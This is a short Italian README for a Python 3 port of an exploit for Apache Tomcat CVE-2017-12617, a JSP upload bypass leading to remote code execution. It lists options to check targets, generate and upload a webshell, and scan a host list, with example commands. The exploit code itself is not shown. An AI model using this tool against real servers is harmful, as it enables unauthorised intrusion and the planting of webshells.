tyranteye666/tomcat-cve-2017-12617Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - Bypass del caricamento JSP / Esecuzione remota di codice per Python3
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - Bypass del caricamento JSP / Esecuzione remota di codice per Python3
Ho apportato alcune modifiche allo script originale per renderlo compatibile con Python 3!
Se ci sono problemi o difficoltà, sentiti libero di inviarmi un'email a [email protected] oppure puoi contattarmi anche se vuoi.
Non giudicare la mia email, è usata come usa e getta
./cve-2017-12617.py [options]
opzioni:
-u ,--url [::] controlla se l'URL del target è vulnerabile
-p,--pwn [::] genera una webshell e caricala
-l,--list [::] elenco degli host
[+]uso:
./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
